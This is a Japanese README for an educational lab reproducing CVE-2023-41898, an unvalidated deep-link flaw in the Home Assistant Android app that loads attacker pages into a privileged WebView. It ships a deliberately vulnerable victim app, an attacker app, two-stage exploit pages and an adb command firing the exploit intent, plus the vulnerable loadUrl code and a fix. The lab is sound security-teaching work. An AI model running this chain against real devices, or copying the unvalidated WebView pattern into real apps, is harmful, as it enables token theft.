
CVE-2023-41898 のウォークスルー: Home Assistant Android の未検証のディープリンクを悪用して、特権的な WebView で任意の URL を読み込み、偽のトークンを漏えいさせます。
Home Assistant Companion for Androidの公開脆弱性レポート(GHSL-2023-142)と脆弱バージョン 2023.8.2 のオープンソース構造に基づいて作成した、教育用の縮小再現Labです。
実際のHome Assistantサーバー・アカウント・トークンは使用しません。LAB_TOKEN_CVE_2023_41898_NOT_REAL という固定の仮想トークンのみを公開します。
2023.9.2 未満(公式勧告基準)2023.9.2Attacker App
│ explicit ACTION_VIEW Intent
│ data=http://10.0.2.2:8000/exploit.html
▼
Victim MyActivity (exported)
│ 検証なしで JavaScript-enabled WebView.loadUrl()
▼
exploit.html
│ homeassistant://navigate/http://10.0.2.2:8000/second-stage.html
▼
Victim WebViewActivity (privileged WebView)
│ 攻撃者ページに externalApp JavaScript bridge を公開
▼
仮想 LAB_TOKEN を表示
Android manifestのintent-filterは、どのURIが暗黙的Intentとマッチするかを定義するだけで、明示的にコンポーネントを指定したIntentのdata URIを自動検証しません。
victim/: 脆弱なdeep-linkハンドラーと権限を持つWebViewを再現したアプリattacker/: 被害アプリのexported Activityに明示的Intentを送信するアプリweb/: ローカルで提供する第1・第2段階の攻撃ページdist/: 検証済みのdebug APKUPSTREAM.md: 元のソースとLab実装の対応関係要件: JDK 17以上、Android SDK 36、Gradle/Android Gradle Pluginのキャッシュ、またはインターネット接続。
./gradlew :victim:assembleDebug :attacker:assembleDebug
許可を得たエミュレーターまたはテスト端末でのみ実行してください。
adb install -r dist/cve-2023-41898-victim-debug.apk
adb install -r dist/cve-2023-41898-attacker-debug.apk
Labのルートで次のコマンドを実行します。
python3 -m http.server 8000 --directory web
Android Studioのデフォルトエミュレーターでは、10.0.2.2 はホストPCのloopbackを指します。実際のテスト端末を使う場合は、web/exploit.html と攻撃アプリのURLをPCのLAN IPに変更してください。
CVE-2023-41898 Victim と CVE-2023-41898 Attacker アプリをインストールします。homeassistant://navigate/ URLへ移動します。LAB_TOKEN_CVE_2023_41898_NOT_REAL が表示されることを確認します。ADBを使用して、攻撃アプリなしで最初のステップを呼び出すこともできます。
adb shell am start \
-n lab.cve202341898.victim/.MyActivity \
-a android.intent.action.VIEW \
-d 'http://10.0.2.2:8000/exploit.html'
脆弱な実装は外部URIをそのままロードします。
Uri urlToLoad = getIntent().getData();
webView.loadUrl(urlToLoad.toString());
修正時には、パースされたURIのscheme、host、port、pathを厳格なallowlistで検証する必要があります。文字列の startsWith 比較は、ユーザー情報([email protected])、サブドメイン、およびエンコーディングによる迂回のリスクがあるため、使用しないでください。
Uri uri = getIntent().getData();
boolean trusted = uri != null
&& "https".equals(uri.getScheme())
&& "my.home-assistant.io".equals(uri.getHost())
&& uri.getPort() == -1
&& uri.getPath() != null
&& uri.getPath().startsWith("/redirect/");
if (!trusted) {
finish();
return;
}
さらに、WebViewから不要なJavaScriptと JavascriptInterface を削除し、すべてのナビゲーションとリダイレクトにも同じURL検証を適用する必要があります。
2023.8.2: https://github.com/home-assistant/android/tree/2023.8.2